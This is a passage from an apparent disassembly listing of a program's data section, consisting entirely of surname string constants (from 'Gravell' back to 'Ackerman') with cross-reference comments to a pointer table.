XREF: ___:0042E338o align 10h aGravell db 'Gravell',0 ; DATA XREF: ___:0042E334o aGozzi db 'Gozzi',0 ; DATA XREF: ___:0042E330o align 10h aGoody db 'Goody',0 ; DATA XREF: ___:0042E32Co align 4 aGoodearl db 'Goodearl',0 ; DATA XREF: ___:0042E328o align 4 aGood db 'Good',0 ; DATA XREF: ___:0042E324o align 4 aGoncalves db 'Goncalves',0 ; DATA XREF: ___:0042E320o align 4 aGoldfarb db 'Goldfarb',0 ; DATA XREF: ___:0042E31Co align 4 aGlendon db 'Glendon',0 ; DATA XREF: ___:0042E318o aGlegg db 'Glegg',0 ; DATA XREF: ___:0042E314o align 4 aGleason db 'Gleason',0 ; DATA XREF: ___:0042E310o aGist db 'Gist',0 ; DATA XREF: ___:0042E30Co align 4 aGillispie db 'Gillispie',0 ; DATA XREF: ___:0042E308o align 10h aGill db 'Gill',0 ; DATA XREF: ___:0042E304o align 4 aGili db 'Gili',0 ; DATA XREF: ___:0042E300o align 10h aGilbert db 'Gilbert',0 ; DATA XREF: ___:0042E2FCo aGibson db 'Gibson',0 ; DATA XREF: ___:0042E2F8o align 10h aGibbens db 'Gibbens',0 ; DATA XREF: ___:0042E2F4o aGhorai db 'Ghorai',0 ; DATA XREF: ___:0042E2F0o align 10h aGerrett db 'Gerrett',0 ; DATA XREF: ___:0042E2ECo aGeorgi db 'Georgi',0 ; DATA XREF: ___:0042E2E8o align 10h aGemberling db 'Gemberling',0 ; DATA XREF: ___:0042E2E4o align 4 aGeller db 'Geller',0 ; DATA XREF: ___:0042E2E0o align 4 aGaronna db 'Garonna',0 ; DATA XREF: ___:0042E2DCo aGarman db 'Garman',0 ; DATA XREF: ___:0042E2D8o align 4 aGarfield db 'Garfield',0 ; DATA XREF: ___:0042E2D4o align 10h aGambini db 'Gambini',0 ; DATA XREF: ___:0042E2D0o aGalwey db 'Galwey',0 ; DATA XREF: ___:0042E2CCo align 10h aGaleotti db 'Galeotti',0 ; DATA XREF: ___:0042E2C8o align 4 aGaggiotti db 'Gaggiotti',0 ; DATA XREF: ___:0042E2C4o align 4 aGabrielli db 'Gabrielli',0 ; DATA XREF: ___:0042E2C0o align 4 aFusaro db 'Fusaro',0 ; DATA XREF: ___:0042E2BCo align 4 aFurth db 'Furth',0 ; DATA XREF: ___:0042E2B8o align 4 aFuller db 'Fuller',0 ; DATA XREF: ___:0042E2B4o align 4 aFujiiAbe db 'Fujii-Abe',0 ; DATA XREF: ___:0042E2B0o align 4 aFrye db 'Frye',0 ; DATA XREF: ___:0042E2ACo align 10h aFryberger db 'Fryberger',0 ; DATA XREF: ___:0042E2A8o align 4 aFrowiss db 'Frowiss',0 ; DATA XREF: ___:0042E2A4o aFrisken db 'Frisken',0 ; DATA XREF: ___:0042E2A0o aFriedland db 'Friedland',0 ; DATA XREF: ___:0042E29Co align 4 aFried db 'Fried',0 ; DATA XREF: ___:0042E298o align 10h aFreundlich db 'Freundlich',0 ; DATA XREF: ___:0042E294o align 4 aFreid db 'Freid',0 ; DATA XREF: ___:0042E290o align 4 aFrazierDavis db 'Frazier-Davis',0 ; DATA XREF: ___:0042E28Co align 4 aFranz db 'Franz',0 ; DATA XREF: ___:0042E288o align 4 aFranklinKenea db 'Franklin-Kenea',0 ; DATA XREF: ___:0042E284o align 4 aFrancisco db 'Francisco',0 ; DATA XREF: ___:0042E280o align 4 aFossi db 'Fossi',0 ; DATA XREF: ___:0042E27Co align 10h aFossey db 'Fossey',0 ; DATA XREF: ___:0042E278o align 4 aFortier db 'Fortier',0 ; DATA XREF: ___:0042E274o aFortes db 'Fortes',0 ; DATA XREF: ___:0042E270o align 4 aForester db 'Forester',0 ; DATA XREF: ___:0042E26Co align 4 aFolks db 'Folks',0 ; DATA XREF: ___:0042E268o align 4 aFlores db 'Flores',0 ; DATA XREF: ___:0042E264o align 4 aFlier db 'Flier',0 ; DATA XREF: ___:0042E260o align 4 aFitzmaurice db 'Fitzmaurice',0 ; DATA XREF: ___:0042E25Co aFisk db 'Fisk',0 ; DATA XREF: ___:0042E258o align 10h aFiorina db 'Fiorina',0 ; DATA XREF: ___:0042E254o aFinnegan db 'Finnegan',0 ; DATA XREF: ___:0042E250o align 4 aFinkelstein db 'Finkelstein',0 ; DATA XREF: ___:0042E24Co aFink db 'Fink',0 ; DATA XREF: ___:0042E248o align 4 aField db 'Field',0 ; DATA XREF: ___:0042E244o align 10h aFido db 'Fido',0 ; DATA XREF: ___:0042E240o align 4 aFeuer db 'Feuer',0 ; DATA XREF: ___:0042E23Co align 10h aFerriell db 'Ferriell',0 ; DATA XREF: ___:0042E238o align 4 aFerrante db 'Ferrante',0 ; DATA XREF: ___:0042E234o align 4 aFernandes db 'Fernandes',0 ; DATA XREF: ___:0042E230o align 4 aFernald db 'Fernald',0 ; DATA XREF: ___:0042E22Co aFeldman db 'Feldman',0 ; DATA XREF: ___:0042E228o aFejzo db 'Fejzo',0 ; DATA XREF: ___:0042E224o align 4 aFeigenbaum db 'Feigenbaum',0 ; DATA XREF: ___:0042E220o align 4 aFates db 'Fates',0 ; DATA XREF: ___:0042E21Co align 10h aFasso db 'Fasso',27h,0 ; DATA XREF: ___:0042E218o align 4 aFarren db 'Farren',0 ; DATA XREF: ___:0042E214o align 10h aFarone db 'Farone',0 ; DATA XREF: ___:0042E210o align 4 aFaris db 'Faris',0 ; DATA XREF: ___:0042E20Co align 10h aFalorsi db 'Falorsi',0 ; DATA XREF: ___:0042E208o aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: ___:0042E204o align 4 aFaioes db 'Faioes',0 ; DATA XREF: ___:0042E200o align 10h aFagan db 'Fagan',0 ; DATA XREF: ___:0042E1FCo align 4 aFabbris db 'Fabbris',0 ; DATA XREF: ___:0042E1F8o aEverett db 'Everett',0 ; DATA XREF: ___:0042E1F4o aEuripides db 'Euripides',0 ; DATA XREF: ___:0042E1F0o align 4 aEtter db 'Etter',0 ; DATA XREF: ___:0042E1ECo align 4 aEstes db 'Estes',0 ; DATA XREF: ___:0042E1E8o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: ___:0042E1E4o align 10h aErez db 'Erez',0 ; DATA XREF: ___:0042E1E0o align 4 aErdos db 'Erdos',0 ; DATA XREF: ___:0042E1DCo align 10h aErdman db 'Erdman',0 ; DATA XREF: ___:0042E1D8o align 4 aErbach db 'Erbach',0 ; DATA XREF: ___:0042E1D4o align 10h aEppling db 'Eppling',0 ; DATA XREF: ___:0042E1D0o aEnyeart db 'Enyeart',0 ; DATA XREF: ___:0042E1CCo aEncinas db 'Encinas',0 ; DATA XREF: ___:0042E1C8o aElvis db 'Elvis',0 ; DATA XREF: ___:0042E1C4o align 10h aElmerick db 'Elmerick',0 ; DATA XREF: ___:0042E1C0o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: ___:0042E1BCo align 4 aEliasson db 'Eliasson',0 ; DATA XREF: ___:0042E1B8o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: ___:0042E1B4o aEdward db 'Edward',0 ; DATA XREF: ___:0042E1B0o align 4 aEdner db 'Edner',0 ; DATA XREF: ___:0042E1ACo align 10h aEdley db 'Edley',0 ; DATA XREF: ___:0042E1A8o align 4 aEckel db 'Eckel',0 ; DATA XREF: ___:0042E1A4o align 10h aEbeling db 'Ebeling',0 ; DATA XREF: ___:0042E1A0o aEardley db 'Eardley',0 ; DATA XREF: ___:0042E19Co aDwyer db 'Dwyer',0 ; DATA XREF: ___:0042E198o align 4 aDussault db 'Dussault',0 ; DATA XREF: ___:0042E194o align 4 aDurrett db 'Durrett',0 ; DATA XREF: ___:0042E190o aDuffin db 'Duffin',0 ; DATA XREF: ___:0042E18Co align 4 aDSouza db 'D',27h,'souza',0 ; DATA XREF: ___:0042E188o aDrinker db 'Drinker',0 ; DATA XREF: ___:0042E184o aDowsland db 'Dowsland',0 ; DATA XREF: ___:0042E180o align 10h aDoug db 'Doug',0 ; DATA XREF: ___:0042E17Co align 4 aDoty db 'Doty',0 ; DATA XREF: ___:0042E178o align 10h aDosi db 'Dosi',0 ; DATA XREF: ___:0042E174o align 4 aDorf db 'Dorf',0 ; DATA XREF: ___:0042E170o align 10h aDore db 'Dore',0 ; DATA XREF: ___:0042E16Co align 4 aDoonan db 'Doonan',0 ; DATA XREF: ___:0042E168o align 10h aDonner db 'Donner',0 ; DATA XREF: ___:0042E164o align 4 aDonahue db 'Donahue',0 ; DATA XREF: ___:0042E160o aDoherty db 'Doherty',0 ; DATA XREF: ___:0042E15Co aDockery db 'Dockery',0 ; DATA XREF: ___:0042E158o aDirksen db 'Dirksen',0 ; DATA XREF: ___:0042E154o aDionysius db 'Dionysius',0 ; DATA XREF: ___:0042E150o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: ___:0042E14Co align 10h aDifronzo db 'Difronzo',0 ; DATA XREF: ___:0042E148o align 4 aDifabio db 'Difabio',0 ; DATA XREF: ___:0042E144o aDiefenbach db 'Diefenbach',0 ; DATA XREF: ___:0042E140o align 10h aDicks db 'Dicks',0 ; DATA XREF: ___:0042E13Co align 4 aDFini db 'D',27h,'fini',0 ; DATA XREF: ___:0042E138o align 10h aDeutsch db 'Deutsch',0 ; DATA XREF: ___:0042E134o aDesombre db 'Desombre',0 ; DATA XREF: ___:0042E130o align 4 aDenison db 'Denison',0 ; DATA XREF: ___:0042E12Co aDenham db 'Denham',0 ; DATA XREF: ___:0042E128o align 4 aDenault db 'Denault',0 ; DATA XREF: ___:0042E124o aDemusz db 'Demusz',0 ; DATA XREF: ___:0042E120o align 4 aDempster db 'Dempster',0 ; DATA XREF: ___:0042E11Co align 10h aDeming db 'Deming',0 ; DATA XREF: ___:0042E118o align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042E114o align 4 aDelger db 'Delger',0 ; DATA XREF: ___:0042E110o align 4 aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: ___:0042E10Co align 4 aDelattre db 'Delattre',0 ; DATA XREF: ___:0042E108o align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: ___:0042E104o align 4 aDees db 'Dees',0 ; DATA XREF: ___:0042E100o align 4 aDebroff db 'Debroff',0 ; DATA XREF: ___:0042E0FCo aDerousse db 'deRousse',0 ; DATA XREF: ___:0042E0F8o align 10h aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042E0F4o align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: ___:0042E0F0o align 4 aDegennaro db 'DeGennaro',0 ; DATA XREF: ___:0042E0ECo align 4 aDawkins db 'Dawkins',0 ; DATA XREF: ___:0042E0E8o aDavid db 'David',0 ; DATA XREF: ___:0042E0E4o align 4 aDaskalu db 'Daskalu',0 ; DATA XREF: ___:0042E0E0o aDasgupta db 'Dasgupta',0 ; DATA XREF: ___:0042E0DCo align 4 aDas db 'Das',0 ; DATA XREF: ___:0042E0D8o aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042E0D4o aDapice db 'Dapice',0 ; DATA XREF: ___:0042E0D0o align 10h aDante db 'Dante',0 ; DATA XREF: ___:0042E0CCo align 4 aDanieli db 'Danieli',0 ; DATA XREF: ___:0042E0C8o aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: ___:0042E0C4o aDaly db 'Daly',0 ; DATA XREF: ___:0042E0C0o align 10h aDaldalian db 'Daldalian',0 ; DATA XREF: ___:0042E0BCo align 4 aDasilva db 'daSilva',0 ; DATA XREF: ___:0042E0B8o aCyders db 'Cyders',0 ; DATA XREF: ___:0042E0B4o align 4 aCvek db 'Cvek',0 ; DATA XREF: ___:0042E0B0o align 4 aCutler db 'Cutler',0 ; DATA XREF: ___:0042E0ACo align 4 aCurrier db 'Currier',0 ; DATA XREF: ___:0042E0A8o aCui db 'Cui',0 ; DATA XREF: ___:0042E0A4o aCroxton db 'Croxton',0 ; DATA XREF: ___:0042E0A0o aCroxen db 'Croxen',0 ; DATA XREF: ___:0042E09Co align 4 aCroshaw db 'Croshaw',0 ; DATA XREF: ___:0042E098o aCrocker db 'Crocker',0 ; DATA XREF: ___:0042E094o aCrawford db 'Crawford',0 ; DATA XREF: ___:0042E090o align 4 aCoutaux db 'Coutaux',0 ; DATA XREF: ___:0042E08Co aCounter db 'Counter',0 ; DATA XREF: ___:0042E088o aCosmides db 'Cosmides',0 ; DATA XREF: ___:0042E084o align 10h aCornish db 'Cornish',0 ; DATA XREF: ___:0042E080o aCorey db 'Corey',0 ; DATA XREF: ___:0042E07Co align 10h aConnors db 'Connors',0 ; DATA XREF: ___:0042E078o aCondodina db 'Condodina',0 ; DATA XREF: ___:0042E074o align 4 aConcino db 'Concino',0 ; DATA XREF: ___:0042E070o aComstock db 'Comstock',0 ; DATA XREF: ___:0042E06Co align 4 aCompton db 'Compton',0 ; DATA XREF: ___:0042E064o ; ___:0042E068o aCollis db 'Collis',0 ; DATA XREF: ___:0042E060o align 4 aCollard db 'Collard',0 ; DATA XREF: ___:0042E05Co aColella db 'Colella',0 ; DATA XREF: ___:0042E058o aColdren db 'Coldren',0 ; DATA XREF: ___:0042E054o aCoito db 'Coito',0 ; DATA XREF: ___:0042E050o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: ___:0042E04Co aClow db 'Clow',0 ; DATA XREF: ___:0042E048o align 4 aClifton db 'Clifton',0 ; DATA XREF: ___:0042E044o aClement db 'Clement',0 ; DATA XREF: ___:0042E040o aClark db 'Clark',0 ; DATA XREF: ___:0042E03Co align 10h aClancy db 'Clancy',0 ; DATA XREF: ___:0042E038o align 4 aClaffey db 'Claffey',0 ; DATA XREF: ___:0042E034o aCifarelli db 'Cifarelli',0 ; DATA XREF: ___:0042E030o align 4 aCicero db 'Cicero',0 ; DATA XREF: ___:0042E02Co align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: ___:0042E028o align 10h aChurch db 'Church',0 ; DATA XREF: ___:0042E024o align 4 aChupasko db 'Chupasko',0 ; DATA XREF: ___:0042E020o align 4 aChu db 'Chu',0 ; DATA XREF: ___:0042E01Co aChristopher db 'Christopher',0 ; DATA XREF: ___:0042E018o aChristie db 'Christie',0 ; DATA XREF: ___:0042E014o align 10h aChristiano db 'Christiano',0 ; DATA XREF: ___:0042E010o align 4 aChristian db 'Christian',0 ; DATA XREF: ___:0042E00Co align 4 aChristenson db 'Christenson',0 ; DATA XREF: ___:0042E008o aChinman db 'Chinman',0 ; DATA XREF: ___:0042E004o aChinipardaz db 'Chinipardaz',0 ; DATA XREF: ___:0042E000o aChilds db 'Childs',0 ; DATA XREF: ___:0042DFFCo align 10h aChildress db 'Childress',0 ; DATA XREF: ___:0042DFF8o align 4 aChien db 'Chien',0 ; DATA XREF: ___:0042DFF4o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: ___:0042DFF0o align 10h aChervinsky db 'Chervinsky',0 ; DATA XREF: ___:0042DFECo align 4 aCherry db 'Cherry',0 ; DATA XREF: ___:0042DFE8o align 4 aCheang db 'Cheang',0 ; DATA XREF: ___:0042DFE4o align 4 aCharles db 'Charles',0 ; DATA XREF: ___:0042DFE0o aChapman db 'Chapman',0 ; DATA XREF: ___:0042DFDCo aCerioli db 'Cerioli',0 ; DATA XREF: ___:0042DFD8o aCeniceros db 'Ceniceros',0 ; DATA XREF: ___:0042DFD4o align 10h aCavell db 'Cavell',0 ; DATA XREF: ___:0042DFD0o align 4 aCavanagh db 'Cavanagh',0 ; DATA XREF: ___:0042DFCCo align 4 aCastelda db 'Castelda',0 ; DATA XREF: ___:0042DFC8o align 10h aCaspar db 'Caspar',0 ; DATA XREF: ___:0042DFC4o align 4 aCase db 'Case',0 ; DATA XREF: ___:0042DFC0o align 10h aCascio db 'Cascio',0 ; DATA XREF: ___:0042DFBCo align 4 aCartmill db 'Cartmill',0 ; DATA XREF: ___:0042DFB8o align 4 aCarper db 'Carper',0 ; DATA XREF: ___:0042DFB4o align 4 aCaroti db 'Caroti',0 ; DATA XREF: ___:0042DFB0o align 4 aCarmichael db 'Carmichael',0 ; DATA XREF: ___:0042DFACo align 10h aCarlyle db 'Carlyle',0 ; DATA XREF: ___:0042DFA8o aCarlos db 'Carlos',0 ; DATA XREF: ___:0042DFA4o align 10h aCarlin db 'Carlin',0 ; DATA XREF: ___:0042DFA0o align 4 aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: ___:0042DF9Co aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: ___:0042DF98o aCapursi db 'Capursi',0 ; DATA XREF: ___:0042DF94o aCappuccio db 'Cappuccio',0 ; DATA XREF: ___:0042DF90o align 4 aCapodilupo db 'Capodilupo',0 ; DATA XREF: ___:0042DF8Co align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: ___:0042DF88o align 10h aCaperton db 'Caperton',0 ; DATA XREF: ___:0042DF84o align 4 aCapanni db 'Capanni',0 ; DATA XREF: ___:0042DF80o aCanley db 'Canley',0 ; DATA XREF: ___:0042DF7Co align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: ___:0042DF78o align 4 aCammelli db 'Cammelli',0 ; DATA XREF: ___:0042DF74o align 4 aCalnan db 'Calnan',0 ; DATA XREF: ___:0042DF70o align 4 aCage db 'Cage',0 ; DATA XREF: ___:0042DF6Co align 4 aByrd db 'Byrd',0 ; DATA XREF: ___:0042DF68o align 4 aByerly db 'Byerly',0 ; DATA XREF: ___:0042DF64o align 4 aByatt db 'Byatt',0 ; DATA XREF: ___:0042DF60o align 4 aBusetta db 'Busetta',0 ; DATA XREF: ___:0042DF5Co aBurridge db 'Burridge',0 ; DATA XREF: ___:0042DF58o align 10h aBurke db 'Burke',0 ; DATA XREF: ___:0042DF54o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: ___:0042DF50o align 10h aBurden db 'Burden',0 ; DATA XREF: ___:0042DF4Co align 4 aBunton db 'Bunton',0 ; DATA XREF: ___:0042DF48o align 10h aBullard db 'Bullard',0 ; DATA XREF: ___:0042DF44o aBudding db 'Budding',0 ; DATA XREF: ___:0042DF40o aBuchan db 'Buchan',0 ; DATA XREF: ___:0042DF3Co align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: ___:0042DF38o aBrook db 'Brook',0 ; DATA XREF: ___:0042DF34o align 4 aBroca db 'Broca',0 ; DATA XREF: ___:0042DF30o align 10h aBritz db 'Britz',0 ; DATA XREF: ___:0042DF2Co align 4 aBrinton db 'Brinton',0 ; DATA XREF: ___:0042DF28o aBridges db 'Bridges',0 ; DATA XREF: ___:0042DF24o aBridgeman db 'Bridgeman',0 ; DATA XREF: ___:0042DF20o align 4 aBrewer db 'Brewer',0 ; DATA XREF: ___:0042DF18o ; ___:0042DF1Co align 4 aBrennan db 'Brennan',0 ; DATA XREF: ___:0042DF14o aBrenan db 'Brenan',0 ; DATA XREF: ___:0042DF10o align 4 aBreed db 'Breed',0 ; DATA XREF: ___:0042DF0Co align 4 aBrecht db 'Brecht',0 ; DATA XREF: ___:0042DF08o align 4 aBradach db 'Bradach',0 ; DATA XREF: ___:0042DF04o aBradac db 'Bradac',0 ; DATA XREF: ___:0042DF00o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: ___:0042DEFCo align 4 aBoyne db 'Boyne',0 ; DATA XREF: ___:0042DEF8o align 10h aBoym db 'Boym',0 ; DATA XREF: ___:0042DEF4o align 4 aBoyland db 'Boyland',0 ; DATA XREF: ___:0042DEF0o aBoyes db 'Boyes',0 ; DATA XREF: ___:0042DEECo align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: ___:0042DEE8o align 4 aBoxer db 'Boxer',0 ; DATA XREF: ___:0042DEE4o align 4 aBowers db 'Bowers',0 ; DATA XREF: ___:0042DEE0o align 4 aBourneuf db 'Bourneuf',0 ; DATA XREF: ___:0042DEDCo align 10h aBoudrot db 'Boudrot',0 ; DATA XREF: ___:0042DED8o aBoudin db 'Boudin',0 ; DATA XREF: ___:0042DED4o align 10h aBotosh db 'Botosh',0 ; DATA XREF: ___:0042DED0o align 4 aBothman db 'Bothman',0 ; DATA XREF: ___:0042DECCo aBossi db 'Bossi',0 ; DATA XREF: ___:0042DEC8o align 4 aBorden db 'Borden',0 ; DATA XREF: ___:0042DEC4o align 10h aBorack db 'Borack',0 ; DATA XREF: ___:0042DEC0o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: ___:0042DEBCo align 4 aBoone db 'Boone',0 ; DATA XREF: ___:0042DEB8o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: ___:0042DEB4o align 4 aBook db 'Book',0 ; DATA XREF: ___:0042DEB0o align 10h aBontempo db 'Bontempo',0 ; DATA XREF: ___:0042DEACo align 4 aBoniface db 'Boniface',0 ; DATA XREF: ___:0042DEA8o align 4 aBonham db 'Bonham',0 ; DATA XREF: ___:0042DEA4o align 10h aBoner db 'Boner',0 ; DATA XREF: ___:0042DEA0o align 4 aBologna db 'Bologna',0 ; DATA XREF: ___:0042DE9Co aBollinger db 'Bollinger',0 ; DATA XREF: ___:0042DE98o align 4 aBolick db 'Bolick',0 ; DATA XREF: ___:0042DE94o align 4 aBolger db 'Bolger',0 ; DATA XREF: ___:0042DE90o align 4 aBlyth db 'Blyth',0 ; DATA XREF: ___:0042DE8Co align 4 aBloxham db 'Bloxham',0 ; DATA XREF: ___:0042DE88o aBloemhof db 'Bloemhof',0 ; DATA XREF: ___:0042DE84o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: ___:0042DE80o aBloch db 'Bloch',0 ; DATA XREF: ___:0042DE7Co align 4 aBlizard db 'Blizard',0 ; DATA XREF: ___:0042DE78o aBliss db 'Bliss',0 ; DATA XREF: ___:0042DE74o align 4 aBlanke db 'Blanke',0 ; DATA XREF: ___:0042DE70o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: ___:0042DE6Co align 10h aBlagg db 'Blagg',0 ; DATA XREF: ___:0042DE68o align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: ___:0042DE64o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: ___:0042DE60o align 10h aBisho db 'Bisho',0 ; DATA XREF: ___:0042DE5Co align 4 aBisema db 'Bisema',0 ; DATA XREF: ___:0042DE58o align 10h aBir db 'Bir',0 ; DATA XREF: ___:0042DE54o aBinion db 'Binion',0 ; DATA XREF: ___:0042DE50o align 4 aBickel db 'Bickel',0 ; DATA XREF: ___:0042DE4Co align 4 aBiagioli db 'Biagioli',0 ; DATA XREF: ___:0042DE48o align 10h aBeynart db 'Beynart',0 ; DATA XREF: ___:0042DE44o aBetti db 'Betti',0 ; DATA XREF: ___:0042DE40o align 10h aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: ___:0042DE3Co align 10h aBernston db 'Bernston',0 ; DATA XREF: ___:0042DE38o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: ___:0042DE34o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: ___:0042DE30o align 4 aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: ___:0042DE2Co align 4 aBergson db 'Bergson',0 ; DATA XREF: ___:0042DE28o aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: ___:0042DE24o align 4 aBelloc db 'Belloc',0 ; DATA XREF: ___:0042DE20o align 4 aBellini db 'Bellini',0 ; DATA XREF: ___:0042DE1Co aBellhouse db 'Bellhouse',0 ; DATA XREF: ___:0042DE18o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: ___:0042DE14o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: ___:0042DE10o align 4 aBelfer db 'Belfer',0 ; DATA XREF: ___:0042DE0Co align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: ___:0042DE08o align 4 aBelanger db 'Belanger',0 ; DATA XREF: ___:0042DE04o align 4 aBehenna db 'Behenna',0 ; DATA XREF: ___:0042DE00o aBedford db 'Bedford',0 ; DATA XREF: ___:0042DDFCo aBeder db 'Beder',0 ; DATA XREF: ___:0042DDF8o align 4 aBeckman db 'Beckman',0 ; DATA XREF: ___:0042DDF4o aBean db 'Bean',0 ; DATA XREF: ___:0042DDF0o align 4 aBeal db 'Beal',0 ; DATA XREF: ___:0042DDECo align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DDE8o align 4 aBayo db 'Bayo',0 ; DATA XREF: ___:0042DDE4o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042DDE0o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DDDCo align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DDD8o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DDD4o align 10h aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DDD0o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DDCCo align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DDC8o align 10h aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DDC4o aBarry db 'Barry',0 ; DATA XREF: ___:0042DDC0o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DDBCo align 10h aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DDB8o aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DDB4o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DDB0o align 10h aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DDACo aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DDA8o align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DDA4o align 10h aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DDA0o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DD9Co align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042DD98o align 4 aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DD94o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042DD90o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DD8Co align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DD88o align 10h aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DD84o align 4 aBailar db 'Bailar',0 ; DATA XREF: ___:0042DD80o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DD7Co aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DD78o aBady db 'Bady',0 ; DATA XREF: ___:0042DD74o align 4 aBackus db 'Backus',0 ; DATA XREF: ___:0042DD70o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DD6Co align 10h aAzima db 'Azima',0 ; DATA XREF: ___:0042DD68o align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042DD64o align 10h aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DD60o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DD5Co aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DD58o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DD54o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DD50o align 10h aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DD4Co align 4 aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DD48o align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042DD44o align 4 aArjas db 'Arjas',0 ; DATA XREF: ___:0042DD40o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DD3Co align 10h aArellano db 'Arellano',0 ; DATA XREF: ___:0042DD38o align 4 aArduini db 'Arduini',0 ; DATA XREF: ___:0042DD34o aArbia db 'Arbia',0 ; DATA XREF: ___:0042DD30o align 4 aAntos db 'Antos',0 ; DATA XREF: ___:0042DD2Co align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DD28o aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DD24o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DD20o align 10h aAndron db 'Andron',0 ; DATA XREF: ___:0042DD1Co align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042DD18o align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042DD14o align 4 aAndel db 'Andel',0 ; DATA XREF: ___:0042DD10o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042DD0Co align 4 aAmsden db 'Amsden',0 ; DATA XREF: ___:0042DD08o align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042DD04o align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042DD00o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042DCFCo align 10h aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042DCF8o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042DCF4o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042DCF0o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042DCECo align 4 aAllison db 'Allison',0 ; DATA XREF: ___:0042DCE8o aAleks db 'Aleks',0 ; DATA XREF: ___:0042DCE4o align 4 aAlda db 'Alda',0 ; DATA XREF: ___:0042DCE0o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042DCDCo align 4 aAlavi db 'Alavi',0 ; DATA XREF: ___:0042DCD8o align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042DCD4o align 4 aAdorno db 'Adorno',0 ; DATA XREF: ___:0042DCD0o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042DCCCo align 4 aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042DCC8o align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42DCC4o aAdams db 'Adams',0 ; DATA XREF: ___:0042DCC0o align 4 aAckerman db 